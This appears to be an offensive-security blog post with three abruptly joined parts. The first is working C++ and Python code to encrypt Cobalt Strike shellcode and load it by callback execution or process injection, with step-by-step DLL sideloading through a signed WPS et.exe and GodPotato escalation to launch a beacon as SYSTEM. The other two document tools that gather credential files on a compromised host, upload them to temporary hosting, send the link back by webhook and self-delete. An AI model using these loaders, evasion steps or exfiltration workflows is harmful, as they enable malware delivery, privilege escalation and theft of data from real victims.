Whether extracted from an EXE/Beacon via donut or generated directly from Cobalt Strike, shellcode is typically XOR/AES-encrypted and then executed through a standalone loader or a sideloaded DLL. This post walks through the full chain—generation, encryption, loading, and delivery—with two practical case studies.

Overview

For DLL hijacking fundamentals, see the published article: Windows DLL Hijacking Analysis.

1. Generate Shellcode

1.1 Extract from EXE (donut / go-donut)

go-donut (bin output only): Binject/go-donut

./go-donut -i windows_amd64.exe   # extension required, otherwise bin is unusable

donut (recommended): TheWover/donut

# -f 3: C-style shellcode; -z 2: compression
donut.exe -i windows_i386.exe -f 3 -z 2

1.2 Generate from Cobalt Strike

1. CS → Attacks → Packages → Payload Generator (for C-format shellcode; Windows Executable (S) produces an EXE, not the byte array used here)
2. Choose C output: unsigned char buf[] = "\x90\x90...";
3. For the Python encryptor in this post: produce a raw binary .bin (do not only strip \x and leave hex ASCII text; convert \xHH to bytes, or export/convert to bin)
4. Encrypt (Section 2), then deliver via sideloaded DLL or standalone loader

2. Encryption

2.1 XOR

Python (encrypt)

import sys

def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)
    for i in range(len(shellcode)):
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    if len(sys.argv) != 3:
        print("Usage: python3 ShellcodeEncrypt.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    key = bytearray(b'henry123456aa+-==@asd')
    encrypted_shellcode = xor_encrypt(shellcode, key)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypted_shellcode)

if __name__ == '__main__':
    main()

C++ (decrypt)

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

// Read encrypted shellcode from a .dat file matching the executable name
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

DWORD size;
void* buffer = FileToMem(szFilePath, size);

if (buffer) {
    char* shellcode = new char[size];
    memcpy(shellcode, buffer, size);
    free(buffer);

    const char key[] = "henry123456aa+-==@asd";
    int keylength = strlen(key);

    for (DWORD i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keylength];
    }
    // shellcode decrypted, length = size
}

2.2 AES

Dependency: tiny-AES-c (add aes.c, aes.h, aes.hpp to your project)

Python (encrypt)

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import sys

def main():
    key = b'0123456789abcdef'
    iv = b'0123456789abcdef'

    if len(sys.argv) != 3:
        print("Usage: python3 shellcodeAESenc.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    print("Original Shellcode Size:", len(shellcode))

    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(shellcode, AES.block_size)
    encrypt = cipher.encrypt(padded_data)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypt)

if __name__ == '__main__':
    main()

C/C++ (decrypt)

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include "aes.hpp"

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

int main() {
    WCHAR szFilePath[MAX_PATH + 1] = { 0 };
    GetModuleFileName(NULL, szFilePath, MAX_PATH);
    lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

    DWORD size;
    void* buffer = FileToMem(szFilePath, size);

    if (buffer) {
        char* shellcode = new char[size];
        memcpy(shellcode, buffer, size);
        free(buffer);

        // Exactly 16 bytes; do not use a string literal (adds trailing '\0')
        unsigned char key[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        unsigned char iv[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        // Ciphertext is padded; originSize MUST be the Original Shellcode Size printed by the encryptor
        DWORD originSize = 36999;  // example only—replace with your value
        unsigned char* ushellcode = reinterpret_cast<unsigned char*>(shellcode);

        struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        // size must be a multiple of 16 (matches Python pad output)
        AES_CBC_decrypt_buffer(&ctx, ushellcode, size);

        DWORD dwOldPro = 0;
        VirtualProtect(ushellcode, originSize, PAGE_EXECUTE_READWRITE, &dwOldPro);
        EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)ushellcode, 0, 0);

        // Do not delete[] if shellcode stays resident (e.g. beacon)
    }
}

2.3 RSA

Reference: RSA shellcode encryption (WeChat article)

3. Loading Techniques

3.1 VirtualProtect + callback execution

char* shellcode = ...;
DWORD size = ...;

DWORD dwOldPro = 0;
VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
// Resident shellcode: do not free here

3.2 Suspended-process injection (傀儡进程)

Flow: create suspended process → remote alloc/write shellcode → SetThreadContext to change entry → resume.
This is not classic Process Hollowing (unmap original image and replace the PE).

char* shellcode = ...;
DWORD size = ...;

PROCESS_INFORMATION ProcessInformation = {};
STARTUPINFOA StartupInfo = {};
void* remote = nullptr;
CONTEXT Context = {};
DWORD DwWrite = 0;

StartupInfo.cb = sizeof(StartupInfo);

// CREATE_SUSPENDED; command line must be a writable buffer (not a string literal)
char cmdLine[] = "C:\\Windows\\explorer.exe";
BOOL result = CreateProcessA(
    nullptr, cmdLine, nullptr, nullptr, FALSE, CREATE_SUSPENDED,
    nullptr, nullptr, &StartupInfo, &ProcessInformation
);

if (result) {
    Context.ContextFlags = CONTEXT_FULL;
    GetThreadContext(ProcessInformation.hThread, &Context);
    remote = VirtualAllocEx(
        ProcessInformation.hProcess, nullptr, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(ProcessInformation.hProcess, remote, shellcode, size, &DwWrite);
    Context.Eip = (DWORD)(uintptr_t)remote;  // x86 only
    SetThreadContext(ProcessInformation.hThread, &Context);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
}

delete[] shellcode;

3.3 VirtualAlloc + direct call

char* shellcode = ...;
DWORD size = ...;

LPVOID allocatedMemory = VirtualAlloc(
    NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (allocatedMemory == NULL) {
    delete[] shellcode;
    return;
}

memcpy(allocatedMemory, shellcode, size);
void(*shellcodeFunction)() = (void(*)())allocatedMemory;
shellcodeFunction();
// Resident shellcode: do not VirtualFree(allocatedMemory, ...)

4. Off-the-Shelf Loaders

Recommended Go build (smaller footprint):

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-w -s -H windowsgui" -o out.exe

Default build (more likely to be flagged):

GOOS=windows GOARCH=amd64 go build

5. Case Studies

5.1 CS Shellcode + Encryption + DLL Sideloading

Typical chain: CS shellcode → XOR to disk → malicious DLL decrypts & runs → signed EXE triggers load.

See Windows DLL Hijacking Analysis for hijacking mechanics.

Step 1: Find a suitable signed EXE

WPS et.exe depends on a co-located DLL—drop a malicious DLL with the same name to hijack loading.

Step 2: Build the malicious DLL

1. Parse the original DLL with AheadLib

2. Create a VS DLL project and import the generated code

3. In an export or a deferred path: read encrypted file → XOR decrypt → execute (Sections 2–3)

4. Build settings:
   • asm file → Custom Build Tool
   • C/C++ → Code Generation → Runtime Library → /MT
   • C/C++ → Precompiled Headers → Not Using
   • Linker → Debugging → Generate Debug Info → No
   • Platform must match the signed EXE (Win32 / x64)

Step 3: Generate and encrypt shellcode

1. Export C-format via Payload Generator, then convert to raw .bin for the encryptor

2. XOR encrypt; save under the exact filename your DLL expects

python3 ShellcodeEncrypt.py payload.bin et.dat

Step 4: Deploy

Place signed EXE + malicious DLL + encrypted shellcode in the same directory and run the signed EXE.

func init() {
    // Prefer: go func() { read .dat → decrypt → execute }()
    // Do not synchronously run CLR-heavy logic in init
}

5.2 GodPotato + DLL Sideloading

Project: GodPotato

Chain: in a session that already meets potato prerequisites, sideload runs GodPotato shellcode → GodPotato elevates to SYSTEM → starts beacon.

Step 1: Hardcode the beacon command

potatoArgs = new newgodArgs
{
    // Point at beacon on the target—not the signed et.exe
    cmd = "cmd /c c:\\users\\public\\downloads\\beacon.exe"
};

Build as newgod.exe.

Step 2: Extract shellcode with donut

donut.exe -i newgod.exe

Sample output:

[ Shellcode     : "loader.bin"
[ File type     : .NET EXE
[ Target CPU    : x86+amd64

Step 3: Encrypt shellcode

python3 ShellcodeEncrypt.py loader.bin loader.dat

Rename loader.dat to the name your loader expects (e.g. et.dat).

Step 4: Deploy

Place these in the same directory (beacon path must match Step 1), e.g. C:\Users\Public\Downloads:

Run et.exe: DLL decrypts/runs GodPotato shellcode at a safe time (not heavy work in DllMain) → (with SeImpersonate) elevates → runs beacon.exe as SYSTEM.

When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.

1. Use cases

Typical needs include:

• Type filtering: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents
• Stacked conditions: names containing password/password-book, content matching credential patterns (via -keyword secrets), mtime after a given day
• Size and time limits: cannot blindly pack tens of GB, and cannot linger on the target
• Result callback: packing is not enough—files stay on the target; you still need the download URL back on the operator side, even if the parent process/C2 dies
• Footprint control: after transfer, avoid leaving the archive and the tool itself on disk

A concrete playbook: right after initial access, run a short collection pass—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.

Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are selective exfil, not backup, not full-disk forensics.

Fdoc is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.

2. Pain points addressed

In one line:

Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.

3. Pipeline

Main path:

Parse flags → Walk from -d → filter by rules → stream-write .tgz → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub

Per file, filters are a fixed AND chain (unset items pass):

Skip -x dirs → regular file or followable file symlink → -e extension → -f name → -t date → -k/-keyword content → -max-file → whether total hits -max.

Commas inside one flag are OR. Example: -e pdf -f invoice -t 2024-01-01 requires all three; -keyword password:,token: matches either in content. Presets work too: -keyword secrets (alias creds) expands to assignment/JSON credential substrings. Details and preset tables: 4.1 Multi-condition filtering.

Size and exit behavior:

• Default soft cap: total budget counted by logical size, default 1GB; per-file -max-file off by default (0)
• No explicit -max: hitting the budget fails immediately (exit 1) and asks you to set -max (or -max 0 to disable)—avoids silent truncation
• Explicit -max: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”
• Huge single files: add -max-file explicitly when you need to skip them

Without -upload, packing stays local and offline. With it, probe, upload, and callback kick in.

4. Features

4.1 Multi-condition filtering

Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: 3. Pipeline.

-e presets:

-keyword presets:

Examples:

Fdoc -d /data -e pdf -f invoice -keyword 'token:' -t 2025-01-01 -o hits.tgz
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz

Symlinks: on Unix/macOS, file symlinks are followed (content from target, archive path keeps the link path); directory symlinks are not entered. Windows .lnk is not resolved—only the shortcut file itself is packed when -e matches.

4.2 Stream pack with size budget

No full listing then compress—memory stays bounded. Use -size to estimate first. Long jobs emit PACK_PROGRESS / UPLOAD_PROGRESS heartbeats for headless use.

4.3 Built-in upload: auto-pick temp backends by size

With -upload, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with -b (demos often use -b lit). Full names and size caps: Fdoc backends. Without callback, the URL goes to stdout for scripting; status lines on stderr (UPLOAD_OK, etc.).

4.4 Callback decoupled from the session

With -webhook / -dns, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.

4.5 Optional pre-upload encryption

-encrypt -key: AES-256-CBC with UP01 magic; remote objects use .bin so they are not mistaken for plain gzip. Built-in Fdoc decrypt—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.

4.6 Optional scrub

After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields SCRUB_PARTIAL and a non-zero exit.

4.7 Cross-platform static binary

Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and .lnk behavior are covered above and in release notes.

5. Minimal examples

# Estimate size first when unsure
Fdoc -d /data -e documents -size

# Pack
Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz

# Hunt credential patterns in config/JSON
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz

# Upload; URL on stdout
Fdoc -d /data -o /tmp/docs.tgz -upload -q

# Encrypt + upload + webhook callback + scrub
Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz \
  -upload -encrypt -key "$KEY" \
  -webhook https://your.receiver/hook \
  -scrub -q

DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the Fdoc README.

6. Terminal demos

Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.

C2 is designed for command control and lightweight interaction, not sustained large-file transfers. During authorized testing, bulk traffic can be moved to a temporary cloud upload service while C2 only sends commands and returns download links.

1. Why separate the data channel

Directly downloading large files over C2 creates four problems:

• Bandwidth contention: bulk transfers block command interaction and heartbeats.
• Reliability: sleep, jitter, timeouts, and weak resume support increase retransmission cost.
• Path overhead: encoding, chunking, pivots, SOCKS, and multiple hops add traffic, latency, and failure points.
• Infrastructure exposure: sustained high-volume traffic converges on the C2 server and affects other sessions on a shared Team Server.

The separated flow is:

1. Stage files or directories on the target
2. Upload from the target to a temporary storage service reachable from the current network
3. Return the download link over C2
4. Download the file from a separate testing environment

Control traffic stays on C2; large-file traffic follows target → upload service.

2. How Uploader handles the transfer

Uploader implements the multi-backend approach introduced by Mikubill/transfer. Its main functions are:

• backends: list backends, size limits, status, and URLs.
• probe: test reachability and latency from the current network.
• Automatic mode: filter backends by payload size, probe and sort by latency, then fail over on errors.
• Size preflight: reject a file or estimated directory size that exceeds a backend limit.
• Directory handling: create a temporary Deflate ZIP by default and remove it after upload; -r uploads files individually.
• Encryption: -e -k uses AES-256-CBC with a UP01 header, random IV, and ciphertext.
• Script-friendly output: -q writes only the successful link to stdout and errors to stderr.

Backend availability changes with both the service and the network. Treat uploader probe as the runtime source of truth.

3. Command examples

uploader -q ./evidence

Without -b, the sequence is: size filter → probe → latency order → failover. Directories are packed first; success prints one download link.

# Pin lit
uploader -q -b lit ./dump.zip

# Prefer lit but allow failover
uploader -q -b lit -auto ./dump.zip

# Upload directory files individually
uploader -q -r ./dir

# Encrypt before upload
uploader -q -e -k 'your-key' ./secret.bin

List and probe backends:

uploader backends
uploader probe
uploader probe temp lit gof -timeout 20

Exit codes are 0 for success, 1 for upload or configuration failure, and 2 for invalid arguments. -keep waits for keyboard input and is unsuitable for headless execution.

4. Limitations and checks

1. Confirm target egress, proxy, allowlists, and TLS inspection policy, then validate the path with a small file.
2. Public upload services may log sources, scan content, and enforce file-type, capacity, and retention limits. Confirm engagement requirements before use.
3. Directory mode writes a temporary ZIP to disk. Use -r or another transfer method if staging is not allowed.
4. AES-256-CBC provides content confidentiality only; it does not replace integrity verification or key management.
5. Filenames can disclose context. Use names without business meaning.
6. After download, remove temporary files, the binary, and command history, and retrieve data before the link expires.